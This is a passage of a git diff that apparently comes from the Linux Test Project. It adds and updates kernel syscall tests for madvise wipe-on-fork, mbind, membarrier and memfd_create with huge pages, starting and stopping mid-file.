+ *		Mark memory area as wipe-on-fork.
+ *		Mark memory area as keep-on-fork.
+ *		On fork, child process memory should be retained.
+ **/
+
+#include <stdio.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#include "lapi/mmap.h"
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+
+#define MAP_SIZE (16 * 1024)
+
+static char pattern[MAP_SIZE];
+static char zero[MAP_SIZE];
+
+static const struct test_case {
+	int size;
+	int advise1;
+	int advise2;
+	char *exp;
+	int grand_child;
+	const char *desc;
+} tcases[] = {
+	{MAP_SIZE, MADV_NORMAL,	MADV_WIPEONFORK, zero,    0,
+	"MADV_WIPEONFORK zeroes memory in child"},
+	{0,	   MADV_NORMAL, MADV_WIPEONFORK, pattern, 0,
+	"MADV_WIPEONFORK with zero length does nothing"},
+	{MAP_SIZE, MADV_NORMAL, MADV_WIPEONFORK, zero,    1,
+	"MADV_WIPEONFORK zeroes memory in grand-child"},
+	{MAP_SIZE, MADV_WIPEONFORK, MADV_KEEPONFORK, pattern, 0,
+	"MADV_KEEPONFORK will undo MADV_WIPEONFORK"},
+};
+
+static void cmp_area(char *addr, const struct test_case *tc)
+{
+	int i;
+
+	for (i = 0; i < tc->size; i++) {
+		if (addr[i] != tc->exp[i]) {
+			tst_res(TFAIL, "In PID %d, addr[%d] = 0x%02x, "
+				"expected[%d] = 0x%02x", getpid(),
+				i, addr[i], i, tc->exp[i]);
+			break;
+		}
+	}
+
+	tst_res(TPASS, "In PID %d, Matched expected pattern", getpid());
+}
+
+static int set_advice(char *addr, int size, int advise)
+{
+	TEST(madvise(addr, size, advise));
+
+	if (TST_RET == -1) {
+		if (TST_ERR == EINVAL) {
+			tst_res(TCONF, "madvise(%p, %d, 0x%x) is not supported",
+			addr, size, advise);
+		} else {
+			tst_res(TFAIL | TTERRNO, "madvise(%p, %d, 0x%x)",
+			addr, size, advise);
+		}
+
+		return 1;
+	}
+
+	tst_res(TPASS, "madvise(%p, %d, 0x%x)",	addr, size, advise);
+	return 0;
+}
+
+static char *mem_map(void)
+{
+	char *ptr;
+
+	ptr = SAFE_MMAP(NULL, MAP_SIZE,
+			PROT_READ | PROT_WRITE,
+			MAP_PRIVATE | MAP_ANONYMOUS,
+			-1, 0);
+
+	memcpy(ptr, pattern, MAP_SIZE);
+
+	return ptr;
+}
+
+static void test_madvise(unsigned int test_nr)
+{
+	const struct test_case *tc = &tcases[test_nr];
+	char *addr;
+	pid_t pid;
+
+	addr = mem_map();
+
+	tst_res(TINFO, "%s", tc->desc);
+	if (set_advice(addr, tc->size, tc->advise1))
+		goto un_map;
+
+	if (!set_advice(addr, tc->size, tc->advise2)) {
+		pid = SAFE_FORK();
+
+		if (!pid) {
+			if (tc->grand_child) {
+				pid = SAFE_FORK();
+
+				if (!pid) {
+					cmp_area(addr, tc);
+					exit(0);
+				}
+			} else {
+				cmp_area(addr, tc);
+				exit(0);
+			}
+		}
+		tst_reap_children();
+	}
+
+un_map:
+	SAFE_MUNMAP(addr, MAP_SIZE);
+}
+
+static void setup(void)
+{
+	unsigned int i;
+
+	for (i = 0; i < MAP_SIZE; i++)
+		pattern[i] = i % 0x03;
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.forks_child = 1,
+	.test = test_madvise,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/mallopt/.gitignore b/testcases/kernel/syscalls/mallopt/.gitignore
new file mode 100644
index 0000000..4e63a3a
--- /dev/null
+++ b/testcases/kernel/syscalls/mallopt/.gitignore
@@ -0,0 +1 @@
+/mallopt01
diff --git a/testcases/kernel/syscalls/mbind/.gitignore b/testcases/kernel/syscalls/mbind/.gitignore
new file mode 100644
index 0000000..64139f7
--- /dev/null
+++ b/testcases/kernel/syscalls/mbind/.gitignore
@@ -0,0 +1 @@
+/mbind01
diff --git a/testcases/kernel/syscalls/mbind/mbind01.c b/testcases/kernel/syscalls/mbind/mbind01.c
index 4eb7da6..72345d0 100644
--- a/testcases/kernel/syscalls/mbind/mbind01.c
+++ b/testcases/kernel/syscalls/mbind/mbind01.c
@@ -189,11 +189,11 @@
 
 	tc->test(i, p);
 
-	if (TEST_RETURN >= 0) {
+	if (TST_RET >= 0) {
 		/* Check policy of the allocated memory */
 		TEST(get_mempolicy(&policy, getnodemask->maskp,
 				   getnodemask->size, p, MPOL_F_ADDR));
-		if (TEST_RETURN < 0) {
+		if (TST_RET < 0) {
 			tst_res(TFAIL | TTERRNO, "get_mempolicy failed");
 			return;
 		}
@@ -216,12 +216,12 @@
 		}
 	}
 
-	if (TEST_RETURN != tc->ret) {
+	if (TST_RET != tc->ret) {
 		tst_res(TFAIL, "wrong return code: %ld, expected: %d",
-			TEST_RETURN, tc->ret);
+			TST_RET, tc->ret);
 		fail = 1;
 	}
-	if (TEST_RETURN == -1 && TEST_ERRNO != tc->err) {
+	if (TST_RET == -1 && TST_ERR != tc->err) {
 		tst_res(TFAIL | TTERRNO, "expected errno: %s, got",
 			tst_strerrno(tc->err));
 		fail = 1;
@@ -237,5 +237,5 @@
 };
 
 #else
-TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/syscalls/membarrier/.gitignore b/testcases/kernel/syscalls/membarrier/.gitignore
new file mode 100644
index 0000000..eec8058
--- /dev/null
+++ b/testcases/kernel/syscalls/membarrier/.gitignore
@@ -0,0 +1 @@
+/membarrier01
diff --git a/testcases/kernel/syscalls/membarrier/Makefile b/testcases/kernel/syscalls/membarrier/Makefile
new file mode 100644
index 0000000..f71e4fc
--- /dev/null
+++ b/testcases/kernel/syscalls/membarrier/Makefile
@@ -0,0 +1,8 @@
+# Copyright (c) 2018 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
\ No newline at end of file
diff --git a/testcases/kernel/syscalls/membarrier/membarrier01.c b/testcases/kernel/syscalls/membarrier/membarrier01.c
new file mode 100644
index 0000000..b074ad3
--- /dev/null
+++ b/testcases/kernel/syscalls/membarrier/membarrier01.c
@@ -0,0 +1,412 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+/*
+ * Basic tests for membarrier(2) syscall. Tests below are responsible for
+ * testing the membarrier(2) interface only, without checking if the barrier
+ * was successful or not. Check test_case structure for each test description.
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <syscall.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "lapi/membarrier.h"
+
+struct test_case {
+	char testname[80];
+	int command;		/* membarrier cmd                            */
+	int needregister;	/* membarrier cmd needs register cmd	     */
+	int flags;		/* flags for given membarrier cmd	     */
+	long exp_ret;		/* expected return code for given cmd        */
+	int exp_errno;		/* expected errno for given cmd failure      */
+	int enabled;		/* enabled, despite results from CMD_QUERY   */
+	int always;		/* CMD_QUERY should always enable this test  */
+	int force;		/* force if CMD_QUERY reports not enabled    */
+	int force_exp_errno;	/* expected errno after forced cmd           */
+	int change_exp_errno;	/* previous kernels forced errno result      */
+	int change_kernver[3];	/* kernel version having diff expected errno */
+};
+
+struct test_case tc[] = {
+	{
+	 /*
+	  * case 00) invalid cmd
+	  *     - enabled by default
+	  *     - should always fail with EINVAL
+	  */
+	 .testname = "cmd_fail",
+	 .command = -1,
+	 .exp_ret = -1,
+	 .exp_errno = EINVAL,
+	 .enabled = 1,
+	 },
+	{
+	 /*
+	  * case 01) invalid flags
+	  *     - enabled by default
+	  *     - should always fail with EINVAL
+	  */
+	 .testname = "cmd_flags_fail",
+	 .command = MEMBARRIER_CMD_QUERY,
+	 .flags = 1,
+	 .exp_ret = -1,
+	 .exp_errno = EINVAL,
+	 .enabled = 1,
+	 },
+	{
+	 /*
+	  * case 02) global barrier
+	  *     - should ALWAYS be enabled by CMD_QUERY
+	  *     - should always succeed
+	  */
+	 .testname = "cmd_global_success",
+	 .command = MEMBARRIER_CMD_GLOBAL,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .always = 1,
+	 },
+	 /*
+	  * commit 22e4ebb975 (v4.14-rc1) added cases 03, 04 and 05 features:
+	  */
+	{
+	 /*
+	  * case 03) private expedited barrier with no registrations
+	  *     - should fail with errno=EPERM due to no registrations
+	  *     - or be skipped if unsupported by running kernel
+	  */
+	 .testname = "cmd_private_expedited_fail",
+	 .command = MEMBARRIER_CMD_PRIVATE_EXPEDITED,
+	 .flags = 0,
+	 .exp_ret = -1,
+	 .exp_errno = EPERM,
+	 },
+	{
+	 /*
+	  * case 04) register private expedited
+	  *     - should succeed when supported by running kernel
+	  *     - or fail with errno=EINVAL if unsupported and forced
+	  */
+	 .testname = "cmd_private_expedited_register_success",
+	 .command = MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .force = 1,
+	 .force_exp_errno = EINVAL,
+	 },
+	{
+	 /*
+	  * case 05) private expedited barrier with registration
+	  *     - should succeed due to existing registration
+	  *     - or fail with errno=EINVAL if unsupported and forced
+	  *     - NOTE: commit 70216e18e5 (v4.16-rc1) changed behavior:
+	  *     -       (a) if unsupported, and forced, < 4.16 , errno is EINVAL
+	  *     -       (b) if unsupported, and forced, >= 4.16, errno is EPERM
+	  */
+	 .testname = "cmd_private_expedited_success",
+	 .needregister = MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED,
+	 .command = MEMBARRIER_CMD_PRIVATE_EXPEDITED,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .force = 1,
+	 .force_exp_errno = EPERM,
+	 .change_exp_errno = EINVAL,
+	 .change_kernver = { 4, 16, 0 },
+	 },
+	 /*
+	  * commit 70216e18e5 (v4.16-rc1) added cases 06, 07 and 08 features:
+	  */
+	{
+	 /*
+	  * case 06) private expedited sync core barrier with no registrations
+	  *     - should fail with errno=EPERM due to no registrations
+	  *     - or be skipped if unsupported by running kernel
+	  */
+	 .testname = "cmd_private_expedited_sync_core_fail",
+	 .command = MEMBARRIER_CMD_PRIVATE_EXPEDITED_SYNC_CORE,
+	 .flags = 0,
+	 .exp_ret = -1,
+	 .exp_errno = EPERM,
+	 },
+	{
+	 /*
+	  * case 07) register private expedited sync core
+	  *     - should succeed when supported by running kernel
+	  *     - or fail with errno=EINVAL if unsupported and forced
+	  */
+	 .testname = "cmd_private_expedited_sync_core_register_success",
+	 .command = MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_SYNC_CORE,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .force = 1,
+	 .force_exp_errno = EINVAL,
+	 },
+	{
+	 /*
+	  * case 08) private expedited sync core barrier with registration
+	  *     - should succeed due to existing registration
+	  *     - or fail with errno=EINVAL if unsupported and forced
+	  */
+	 .testname = "cmd_private_expedited_sync_core_success",
+	 .needregister = MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_SYNC_CORE,
+	 .command = MEMBARRIER_CMD_PRIVATE_EXPEDITED_SYNC_CORE,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .force = 1,
+	 .force_exp_errno = EINVAL,
+	 },
+	 /*
+	  * commit c5f58bd58f4 (v4.16-rc1) added cases 09, 10 and 11 features:
+	  */
+	{
+	 /*
+	  * case 09) global expedited barrier with no registrations
+	  *     - should never fail due to no registrations
+	  *     - or be skipped if unsupported by running kernel
+	  */
+	 .testname = "cmd_global_expedited_success",
+	 .command = MEMBARRIER_CMD_GLOBAL_EXPEDITED,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 },
+	{
+	 /*
+	  * case 10) register global expedited
+	  *     - should succeed when supported by running kernel
+	  *     - or fail with errno=EINVAL if unsupported and forced
+	  */
+	 .testname = "cmd_global_expedited_register_success",
+	 .command = MEMBARRIER_CMD_REGISTER_GLOBAL_EXPEDITED,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .force = 1,
+	 .force_exp_errno = EINVAL,
+	 },
+	{
+	 /*
+	  * case 11) global expedited barrier with registration
+	  *     - should also succeed with registrations
+	  *     - or fail with errno=EINVAL if unsupported and forced
+	  */
+	 .testname = "cmd_global_expedited_success",
+	 .needregister = MEMBARRIER_CMD_REGISTER_GLOBAL_EXPEDITED,
+	 .command = MEMBARRIER_CMD_GLOBAL_EXPEDITED,
+	 .flags = 0,
+	 .exp_ret = 0,
+	 .force = 1,
+	 .force_exp_errno = EINVAL,
+	 },
+};
+
+#define passed_ok(_test)						       \
+	do {								       \
+		tst_res(TPASS, "membarrier(2): %s passed", _test.testname);    \
+		return;							       \
+	} while (0)
+
+#define passed_unexpec(_test)						       \
+	do {								       \
+		tst_res(TFAIL, "membarrier(2): %s passed unexpectedly. "       \
+			"ret = %ld with errno %d were expected. (force: %d)",  \
+			_test.testname, _test.exp_ret, _test.exp_errno,        \
+			_test.force);					       \
+		return;							       \
+	} while (0)
+
+#define failed_ok(_test)						       \
+	do {								       \
+		tst_res(TPASS, "membarrier(2): %s failed as expected",	       \
+			_test.testname);				       \
+		return;							       \
+	} while (0)
+
+#define failed_ok_unsupported(_test)					       \
+	do {								       \
+		tst_res(TPASS, "membarrier(2): %s failed as expected "	       \
+			"(unsupported)", _test.testname);		       \
+		return;							       \
+	} while (0)
+
+#define failed_not_ok(_test, _gotret, _goterr)				       \
+	do {								       \
+		tst_res(TFAIL, "membarrier(2): %s failed. "		       \
+			"ret = %ld when expected was %ld. "		       \
+			"errno = %d when expected was %d. (force: %d)",        \
+			_test.testname, _gotret, _test.exp_ret, _goterr,       \
+			_test.exp_errno, _test.force);			       \
+		return;							       \
+	} while (0)
+
+#define failed_unexpec(_test, _gotret, _goterr) 			       \
+	do {								       \
+		tst_res(TFAIL, "membarrier(2): %s failed unexpectedly. "       \
+			"Got ret = %ld with errno %d. (force: %d)",	       \
+			_test.testname, _gotret, _goterr, _test.force);	       \
+		return;							       \
+	} while (0)
+
+#define skipped(_test)							       \
+	do {								       \
+		tst_res(TPASS, "membarrier(2): %s skipped (unsupported)",      \
+			_test.testname);				       \
+		return;							       \
+	} while (0)
+
+#define skipped_fail(_test)						       \
+	do {								       \
+		tst_res(TFAIL, "membarrier(2): %s reported as not supported",  \
+			_test.testname);				       \
+		return;							       \
+	} while (0)
+
+static int sys_membarrier(int cmd, int flags)
+{
+	return tst_syscall(__NR_membarrier, cmd, flags);
+}
+
+static void verify_membarrier(unsigned int i)
+{
+	int ret;
+
+	/* not enabled and not enforced: test is skipped */
+
+	if (!tc[i].enabled && !tc[i].force) {
+
+		if (tc[i].always == 0)
+			skipped(tc[i]);
+
+		skipped_fail(tc[i]);
+	}
+
+	/* iterations: registration needed for some cases */
+
+	if (tc[i].needregister && tc[i].enabled) {
+		ret = sys_membarrier(tc[i].needregister, 0);
+		if (ret < 0) {
+			tst_brk(TBROK, "membarrier(2): %s could not register",
+					tc[i].testname);
+		}
+	}
+
+	TEST(sys_membarrier(tc[i].command, tc[i].flags));
+
+	/* enabled and not enforced: regular expected results only */
+
+	if (tc[i].enabled && !tc[i].force) {
+
+		if (TST_RET >= 0 && tc[i].exp_ret == TST_RET)
+			passed_ok(tc[i]);
+
+		if (TST_RET < 0) {
+			if (tc[i].exp_ret == TST_RET)
+				failed_ok(tc[i]);
+			else
+				failed_not_ok(tc[i], TST_RET, TST_ERR);
+		}
+	}
+
+	/* not enabled and enforced: failure and expected errors */
+
+	if (!tc[i].enabled && tc[i].force) {
+
+		if (TST_RET >= 0)
+			passed_unexpec(tc[i]);
+
+		if (TST_RET < 0) {
+			if (tc[i].force_exp_errno == TST_ERR)
+				failed_ok_unsupported(tc[i]);
+			else
+				failed_unexpec(tc[i], TST_RET, TST_ERR);
+		}
+	}
+
+	/* enabled and enforced: tricky */
+
+	if (tc[i].enabled && tc[i].force) {
+
+		if (TST_RET >= 0) {
+			if (tc[i].exp_ret == TST_RET)
+				passed_ok(tc[i]);
+			else
+				passed_unexpec(tc[i]);
+		}
+
+		if (TST_RET < 0) {
+
+			if (tc[i].exp_ret == TST_RET) {
+
+				if (tc[i].exp_errno == TST_ERR)
+					failed_ok(tc[i]);
+				else
+					failed_unexpec(tc[i], TST_RET, TST_ERR);
+			}
+
+			/* unknown on force failure if enabled and forced */
+			failed_unexpec(tc[i], TST_RET, TST_ERR);
+		}
+	}
+}
+
+static void wrap_verify_membarrier(unsigned int i)
+{
+	pid_t pid;
+
+	/*
+	 * The Linux kernel does not provide a way to unregister the process
+	 * (mm->membarrier_state) intent of being affected by the membarrier(2)
+	 * system call, thus the need of having a wrapper to fork() a child.
+	 */
+
+	pid = SAFE_FORK();
+
+	if (pid)
+		SAFE_WAITPID(pid, NULL, 0);
+	else
+		verify_membarrier(i);
+}
+
+static void setup(void)
+{
+	size_t i;
+	int ret;
+
+	ret = sys_membarrier(MEMBARRIER_CMD_QUERY, 0);
+	if (ret < 0) {
+		if (errno == ENOSYS)
+			tst_brk(TBROK, "membarrier(2): not supported");
+	}
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if ((tc[i].command > 0) && (ret & tc[i].command))
+			tc[i].enabled = 1;
+
+		/* forcing unsupported command might have different errno */
+
+		if (tc[i].change_exp_errno && tc[i].enabled == 0) {
+			if (tst_kvercmp(tc[i].change_kernver[0],
+					tc[i].change_kernver[1],
+					tc[i].change_kernver[2]) < 0)
+				tc[i].force_exp_errno = tc[i].change_exp_errno;
+		}
+	}
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = wrap_verify_membarrier,
+	.tcnt = ARRAY_SIZE(tc),
+	.min_kver = "4.3.0",	/* commit: 5b25b13ab0 (sys_membarrier(): ...) */
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/memcmp/.gitignore b/testcases/kernel/syscalls/memcmp/.gitignore
new file mode 100644
index 0000000..cc4a567
--- /dev/null
+++ b/testcases/kernel/syscalls/memcmp/.gitignore
@@ -0,0 +1 @@
+/memcmp01
diff --git a/testcases/kernel/syscalls/memcpy/.gitignore b/testcases/kernel/syscalls/memcpy/.gitignore
new file mode 100644
index 0000000..107e0f5
--- /dev/null
+++ b/testcases/kernel/syscalls/memcpy/.gitignore
@@ -0,0 +1 @@
+/memcpy01
diff --git a/testcases/kernel/syscalls/memfd_create/.gitignore b/testcases/kernel/syscalls/memfd_create/.gitignore
new file mode 100644
index 0000000..71b898c
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/.gitignore
@@ -0,0 +1,4 @@
+/memfd_create01
+/memfd_create02
+/memfd_create03
+/memfd_create04
\ No newline at end of file
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create02.c b/testcases/kernel/syscalls/memfd_create/memfd_create02.c
index bc01e44..80cd5c4 100644
--- a/testcases/kernel/syscalls/memfd_create/memfd_create02.c
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create02.c
@@ -88,13 +88,13 @@
 	}
 
 	TEST(sys_memfd_create(tc->memfd_name, tc->flags));
-	if (TEST_ERRNO != tc->memfd_create_exp_err)
+	if (TST_ERR != tc->memfd_create_exp_err)
 		tst_brk(TFAIL, "test '%s'", tc->descr);
 	else
 		tst_res(TPASS, "test '%s'", tc->descr);
 
-	if (TEST_RETURN > 0)
-		SAFE_CLOSE(TEST_RETURN);
+	if (TST_RET > 0)
+		SAFE_CLOSE(TST_RET);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create03.c b/testcases/kernel/syscalls/memfd_create/memfd_create03.c
new file mode 100644
index 0000000..d92033a
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create03.c
@@ -0,0 +1,265 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+/*
+ *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ *  Email: code@zilogic.com
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+/*
+ * Test: Validating memfd_create() with MFD_HUGETLB flag.
+ *
+ * Test case 1: --WRITE CALL IN HUGEPAGES TEST--
+ *              Huge pages are write protected. Any writes to
+ *              the file should return EINVAL error.
+ *
+ * Test case 2: --PAGE SIZE OF CREATED FILE TEST--
+ *              Default huge page sized pages are created with
+ *              MFD_HUGETLB flag. Any attempt to unmap memory-mapped
+ *              huge pages with an unmapping length less than
+ *              huge page size should return EINVAL error.
+ *
+ * Test case 3: --HUGEPAGE ALLOCATION LIMIT TEST--
+ *              Number of huge pages currently available to use should be
+ *              atmost total number of allowed huge pages. Memory-mapping
+ *              more than allowed huge pages should return ENOMEM error.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "memfd_create_common.h"
+
+#include <stdio.h>
+#include <errno.h>
+
+#define TOTAL_HP_PATH "/proc/sys/vm/nr_hugepages"
+#define MEMINFO_PATH "/proc/meminfo"
+#define FREE_HP "HugePages_Free:\t%ld"
+#define DEFAULT_HPS "Hugepagesize:\t%ld kB"
+
+static int hugepages_allocated;
+static long og_total_pages;
+
+static void *check_huge_mmapable(int fd, unsigned long size)
+{
+	void *mem;
+
+	mem = SAFE_MMAP(NULL, size, PROT_WRITE, MAP_PRIVATE, fd, 0);
+
+	memset((char *)mem, 0, 1);
+
+	tst_res(TINFO,
+		"mmap(%p, %lu, %d, %d, %d, %d) succeeded",
+		NULL, size, PROT_WRITE, MAP_PRIVATE, fd, 0);
+
+	return mem;
+}
+
+static void test_write_protect(int fd)
+{
+	ssize_t ret;
+	char test_str[] = "LTP";
+
+	ret = write(fd, test_str, strlen(test_str));
+	if (ret < 0) {
+		if (errno != EINVAL) {
+			tst_res(TFAIL | TERRNO,
+				"write(%d, \"%s\", %zu) didn't fail as expected\n",
+				fd, test_str, strlen(test_str));
+			return;
+		}
+	} else {
+		tst_res(TFAIL,
+			"write(%d, \"%s\", %zu) succeeded unexpectedly\n",
+			fd, test_str, strlen(test_str));
+		return;
+	}
+
+	tst_res(TPASS,
+		"write(%d, \"%s\", %zu) failed as expected\n",
+		fd, test_str, strlen(test_str));
+}
+
+static void test_def_pagesize(int fd)
+{
+	unsigned int i;
+	int unmap_size;
+	int ret;
+	long hps;
+	void *mem;
+
+	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, DEFAULT_HPS, &hps);
+	hps = hps << 10;
+	unmap_size = hps / 4;
+	mem = check_huge_mmapable(fd, hps);
+
+	for (i = unmap_size; i < hps; i += unmap_size) {
+		ret = munmap(mem, i);
+		if (ret == -1) {
+			if (errno == EINVAL) {
+				tst_res(TINFO,
+					"munmap(%p, %dkB) failed as expected",
+					mem, i/1024);
+			} else {
+				tst_res(TFAIL | TERRNO,
+					"munmap(%p, %dkB) failed unexpectedly",
+					mem, i/1024);
+				return;
+			}
+		} else {
+			tst_res(TFAIL,
+				"munmap(%p, %dkB) suceeded unexpectedly\n",
+				mem, i);
+			return;
+		}
+	}
+
+	SAFE_MUNMAP(mem, hps);
+
+	tst_res(TPASS,
+		"munmap() fails for page sizes less than %ldkB\n", hps/1024);
+}
+
+static void test_max_hugepages(int fd)
+{
+	int new_fd;
+	long hps;
+	long free_pages;
+	void *mem;
+	void *new_mem;
+
+	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, FREE_HP, &free_pages);
+	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, DEFAULT_HPS, &hps);
+	hps = hps << 10;
+	mem = check_huge_mmapable(fd, free_pages * hps);
+
+	new_fd = sys_memfd_create("new_file", MFD_HUGETLB);
+	if (new_fd < 0)
+		tst_brk(TFAIL | TERRNO, "memfd_create() failed");
+	tst_res(TINFO, "memfd_create() succeeded");
+
+	new_mem = mmap(NULL, hps, 0, MAP_PRIVATE, new_fd, 0);
+	if (new_mem == MAP_FAILED) {
+		if (errno == ENOMEM)
+			tst_res(TPASS,
+				"mmap(%p, %lu, %d, %d, %d, %d) failed as expected",
+				NULL, hps, 0, MAP_PRIVATE, new_fd, 0);
+		else
+			tst_res(TFAIL | TERRNO,
+				"mmap(%p, %lu, %d, %d, %d, %d) failed unexpectedly",
+				NULL, hps, 0, MAP_PRIVATE, new_fd, 0);
+	} else {
+		tst_res(TFAIL,
+			"mmap(%p, %lu, %d, %d, %d, %d) succeeded",
+			NULL, hps, 0, MAP_PRIVATE, new_fd, 0);
+		SAFE_MUNMAP(new_mem, hps);
+	}
+
+	SAFE_CLOSE(new_fd);
+
+	SAFE_MUNMAP(mem, free_pages * hps);
+}
+
+static const struct tcase {
+	void (*func)(int fd);
+	const char *desc;
+} tcases[] = {
+	{&test_write_protect,   "--TESTING WRITE CALL IN HUGEPAGES--"},
+	{&test_def_pagesize,  "--TESTING PAGE SIZE OF CREATED FILE--"},
+	{&test_max_hugepages, "--TESTING HUGEPAGE ALLOCATION LIMIT--"},
+};
+
+static void memfd_huge_controller(unsigned int n)
+{
+	int fd;
+	const struct tcase *tc;
+
+	tc = &tcases[n];
+
+	tst_res(TINFO, "%s", tc->desc);
+
+	fd = sys_memfd_create("test_file", MFD_HUGETLB);
+	if (fd < 0)
+		tst_brk(TFAIL | TERRNO, "memfd_create() failed");
+	tst_res(TINFO, "memfd_create() succeeded");
+
+	tc->func(fd);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	char buf[8];
+	int fd;
+	long free_pages;
+	long total_pages;
+
+	if (access(MEMINFO_PATH, F_OK) ||
+	    access("/sys/kernel/mm/hugepages", F_OK) ||
+	    access(TOTAL_HP_PATH, F_OK))
+		tst_brk(TCONF, "Huge page is not supported");
+
+	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, FREE_HP, &free_pages);
+	if (free_pages > 0)
+		return;
+
+	SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &og_total_pages);
+	sprintf(buf, "%ld", og_total_pages + 1);
+
+	fd = open(TOTAL_HP_PATH, O_RDWR | O_TRUNC);
+
+	if (write(fd, buf, strlen(buf)) == -1)
+		tst_brk(TCONF | TERRNO,
+			"write() fail: Hugepage allocation failed");
+
+	SAFE_CLOSE(fd);
+
+	SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &total_pages);
+	if (total_pages != (og_total_pages + 1))
+		tst_brk(TCONF, "Hugepage allocation failed");
+
+	hugepages_allocated = 1;
+}
+
+static void cleanup(void)
+{
+	char buf[8];
+	int fd;
+	long total_pages;
+
+	if (hugepages_allocated == 0)
+		return;
+
+	sprintf(buf, "%ld", og_total_pages);
+
+	fd = open(TOTAL_HP_PATH, O_RDWR | O_TRUNC);
+
+	if (write(fd, buf, strlen(buf)) == -1)
+		tst_brk(TCONF | TERRNO, "Clean-up failed: write() failed");
+
+	SAFE_CLOSE(fd);
+
+	SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &total_pages);
+	if (og_total_pages != total_pages)
+		tst_brk(TCONF, "Clean-up failed");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = memfd_huge_controller,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.min_kver = "4.14",
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create04.c b/testcases/kernel/syscalls/memfd_create/memfd_create04.c
new file mode 100644
index 0000000..cbbdc5f
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create04.c
@@ -0,0 +1,105 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+/*
+ *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ *  Email: code@zilogic.com
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+/*
+ * Test: Validating memfd_create() with MFD_HUGETLB and MFD_HUGE_x flags.
+ *
+ * Test cases: Attempt to create files in the hugetlbfs filesystem using
+ *             different huge page sizes.
+ *
+ * Test logic: memfd_create() should return non-negative value (fd)
+ *             if the system supports that particular huge page size.
+ *             On success, fd is returned.
+ *             On failure, -1 is returned with ENODEV error.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "memfd_create_common.h"
+
+#include <errno.h>
+#include <stdio.h>
+
+#define PATH_HUGEPAGES "/sys/kernel/mm/hugepages"
+
+static  struct test_flag {
+	int flag;
+	char *h_size;
+	int exp_err;
+} test_flags[] =  {
+	{.flag = MFD_HUGE_64KB,         .h_size = "64kB"},
+	{.flag = MFD_HUGE_512KB,       .h_size = "512kB"},
+	{.flag = MFD_HUGE_2MB,        .h_size = "2048kB"},
+	{.flag = MFD_HUGE_8MB,        .h_size = "8192kB"},
+	{.flag = MFD_HUGE_16MB,      .h_size = "16384kB"},
+	{.flag = MFD_HUGE_256MB,    .h_size = "262144kB"},
+	{.flag = MFD_HUGE_1GB,     .h_size = "1048576kB"},
